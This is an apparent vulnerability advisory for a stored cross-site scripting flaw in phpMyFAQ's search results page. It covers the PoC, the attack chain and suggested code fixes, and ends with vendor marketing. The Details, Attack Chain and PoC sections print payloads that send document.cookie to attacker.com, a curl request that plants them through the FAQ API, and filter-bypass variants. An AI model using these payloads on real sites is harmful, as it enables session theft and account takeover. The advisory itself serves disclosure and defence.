Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags, bypassing strip_tags(), and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
Affected Files
| File | Location | Issue |
|---|---|---|
phpmyfaq/assets/templates/default/search.twig |
lines rendering result.question, result.answerPreview |
(Vertical Bar) raw disables autoescape |
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php |
search result processing loop | html_entity_decode(strip_tags(...)) restores encoded payloads |
phpmyfaq/src/phpMyFAQ/Search.php |
logSearchTerm() |
No HTML sanitization on stored search term (secondary, preventive) |
Details
Vulnerability A (Primary): search.twig, | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.
Vulnerability B (Amplifier): SearchController.php, html_entity_decode(strip_tags()) Bypass
File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags, reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags() → no change (no real tags detected)
→ <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output → executes in browser
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1, Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
Step 2, Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3, Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
- Retrieves the record from the database
- Applies
strip_tags()→ entity-encoded payload passes through - Applies
html_entity_decode()→ raw<svg onload=...>is restored - Passes the value to
search.twigasresult.answerPreview - Template renders with
| raw→ XSS executes
Step 4, Impact
- Session cookie exfiltration → full account takeover
- Administrator session hijacking (admin visiting search page)
- Persistent attack: payload fires for every visitor until manually removed
- Potential for worm propagation via auto-created FAQ entries
PoC
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1, Inject payload via FAQ editor:
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=<editor_session>' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "searchable-keyword",
"author": "attacker",
"email": "[email protected]"
}
}'
Step 2, Trigger XSS as victim:
https://target.example.com/search.html?search=searchable-keyword
The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
<details open ontoggle=alert(document.cookie)>
<iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;">
Fix 1 (Critical), Remove | raw from user-controlled fields in search.twig
- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>
If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.
Fix 2 (Critical), Remove html_entity_decode() from search result pipeline SearchController.php
- $data->answer = html_entity_decode(
- strip_tags((string) $data->answer),
- ENT_COMPAT,
- encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
$data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
Fix 3 (Recommended), Audit all | raw usages in search.twig
The following additional | raw instances should be reviewed and sanitized:
{{ searchTags | raw }} → apply HTML Purifier or remove | raw
{{ relatedTags | raw }} → apply HTML Purifier or remove | raw
{{ pagination | raw }} → safe only if generated entirely server-side with no user input
Fix 4 (Preventive), Add htmlspecialchars() in logSearchTerm()
$this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+ $this->configuration->getDb()->escape($searchTerm),
+ ENT_QUOTES | ENT_HTML5,
+ 'UTF-8'
+ )
Impact
- Confidentiality : Session cookie exfiltration and credential theft
via JavaScript execution in victim's browser context. - Integrity : DOM manipulation, phishing overlay injection.
- Scope : Attack crosses from contributor privilege context
to all site visitors, including administrators.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-46361 has a CVSS score of 6.9 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
phpmyfaq/phpmyfaq to 4.1.2 or later; thorsten/phpmyfaq to 4.1.2 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-46361? CVE-2026-46361 is a medium-severity cross-site scripting (XSS) vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.1. It is fixed in 4.1.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-46361? CVE-2026-46361 has a CVSS score of 6.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-46361?
phpmyfaq/phpmyfaq(composer) (versions <= 4.1.1)thorsten/phpmyfaq(composer) (versions <= 4.1.1)
- Is there a fix for CVE-2026-46361? Yes. CVE-2026-46361 is fixed in 4.1.2. Upgrade to this version or later.
- Is CVE-2026-46361 exploitable, and should I be worried? Whether CVE-2026-46361 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-46361 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-46361?
- Upgrade
phpmyfaq/phpmyfaqto 4.1.2 or later - Upgrade
thorsten/phpmyfaqto 4.1.2 or later
- Upgrade